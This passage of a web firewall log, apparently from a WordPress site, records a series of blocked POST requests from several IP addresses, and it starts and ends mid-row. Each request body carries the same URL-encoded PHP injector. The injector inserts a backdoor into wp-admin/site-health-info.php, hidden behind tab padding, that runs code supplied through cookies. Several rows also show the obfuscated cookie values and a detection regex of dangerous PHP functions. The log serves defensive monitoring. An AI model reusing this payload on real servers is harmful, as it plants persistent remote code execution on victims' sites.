7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:04","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-health-info.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D9%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B9%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B11%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B29%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF0DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:3238\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\n\nKD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-health-info.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D9%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B9%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B11%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B29%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:06","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> MZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-health-info.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D9%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B9%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B11%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B29%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3238\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGIbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nMZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-health-info.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D9%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B9%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B11%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B29%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:09","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-health-info.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D9%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B9%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B11%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B29%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"macOS\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\ncontent-length:3261\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-health-info.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D9%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B9%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B11%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B29%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:39:12","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-health-info.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D9%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B9%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B11%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B29%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:3238\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDHRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nAA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-health-info.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D9%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B9%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B11%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B25%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B12%255D.%2524p%255B29%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strl